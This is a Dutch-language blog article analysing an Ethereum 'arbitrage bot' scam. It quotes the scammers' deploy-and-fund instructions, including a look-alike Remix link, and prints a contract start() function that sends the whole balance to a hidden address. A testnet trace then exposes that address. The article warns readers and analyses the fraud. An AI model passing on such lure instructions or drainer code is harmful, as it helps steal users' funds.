C

Chainhunters

10 min
Oplichting
scam
solidity
ethereum
De werking van een arbitrage bot scam
Geld verdienen terwijl je slaapt? Klinkt mooi maar zelden waar. In dit artikel leggen we je uit hoe een arbitrage bot scam werkt.

Inleiding

Online zie je steeds vaker video's over zo genoemde 'Ethereum Arbitrage Bots'. Deze bots zouden je in staat stellen om geld te verdienen terwijl je slaapt. Enkel een kleine investering is nodig om te beginnen. Je snapt waarschijnlijk al waar dit naartoe gaat.

Hoe werkt het?

Dit soort video's lokken je met een simpele belofte: geld verdienen terwijl je slaapt. Ze geven je stap voor stap instructies om hun perfecte "een arbitrage bot" op te zetten.

Als je naar de comments kijkt, zie je dat veel mensen enthousiast zijn dat het 'werkt'. Ook hebben de video's vaak veel likes en views, wat het nog geloofwaardiger maakt. Dit zijn echter allemaal bots die ingezet worden om de scam te promoten.

Ze vertellen je bijna altijd hetzelfde verhaal:

👉 Head over to Remix Compiler. Link: https://remix.ps
👉 Right Click the “Contracts” folder and then create “New File”. Rename it whatever you want, or: “bot.sol”
👉 Paste THIS code into Remix: https://0bin.net/paste/8D+gtd6V#pPItR...
👉 Go to the "Compile" tab on Remix and Compile with Solidity version 0.6.6
👉 Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then “Deploy”. This will create your own contract by confirming the MetaMask Contract creation fee.
👉 Deposit funds (at least 0.2 ETH to prevent negating slippage) to your exact contract/bot address
👉 After your transaction is confirmed, start the bot by clicking the 'start' button. Withdraw anytime by clicking 'withdrawal'

De smart contract

Ze leggen je uit dat je een smart contract moet deployen op het Ethereum netwerk. Dit contract zou dan automatisch trades uitvoeren en je winst opleveren. Echter, de code die ze je laten deployen is een scam.

Dit is de code die ze je laten deployen. De code is wel meer dan 500 lijnen lang, maar het is niet nodig om de hele code te begrijpen. De meeste stukken worden ook niet gebruikt maar zijn er enkel om je te misleiden.

Belangrijkste stukken van de code

start() functie

function start() public payable {
    emit Log("Running MEV action. This can take a while; please wait..");
    payable(_callMEVAction()).transfer(address(this).balance);
}

De start-functie laat eerst een logbericht zien. Dat lijkt onschuldig, maar vervolgens roept het de transfer-functie aan en wordt de gehele balans van het contract doorgestuurd naar het adres van de scammer. Dit simpele mechanisme maakt duidelijk hoe de scam werkt.

De scammer

Waar gaat het geld heen? Door het contract te "reverse-engineeren" kunnen we het adres van de scammer achterhalen.

We hebben het smart contract deployed op een lokaal testnet en de start-functie geactiveerd.

De logs laten het volgende zien:

[682932] ScamScript::run()
├─ [0] VM::startBroadcast()
   └─  [Return] 
├─ [530962]  new ArbitrageBot@0xA8452Ec99ce0C64f20701dB7dD3abDb607c00496
   └─  [Return] 2652 bytes of code
├─ [110249] ArbitrageBot::_callMEVAction() [staticcall]
   └─  [Return] 0x3D792cAF9c4e769738fe10E204Bf854c87DaC527
├─ [0] VM::stopBroadcast()
   └─  [Return] 
└─  [Stop]

De _callMEVAction leidt naar het adres 0x3D792cAF9c4e769738fe10E204Bf854c87DaC527.
Dit is het adres waar alle Ether naartoe wordt gestuurd.

Op Etherscan is te zien dat dit adres bijna 7 ETH bezit, wat momenteel rond de 17.000 euro waard is. Er zijn wel 50 transacties geweest naar dit adres, wat betekent dat er veel mensen zijn opgelicht. De scammer heeft nog geen ETH verplaatst, maar het is slechts een kwestie van tijd voordat dit gebeurt.

Conclusie

Deze scam toont aan hoe je misleid kunt worden door de verleiding van gemakkelijk geld en een gebrek aan kennis over smart contracts. Als je niet begrijpt hoe een smart contract werkt, kun je kwetsbaar zijn voor dit soort praktijken.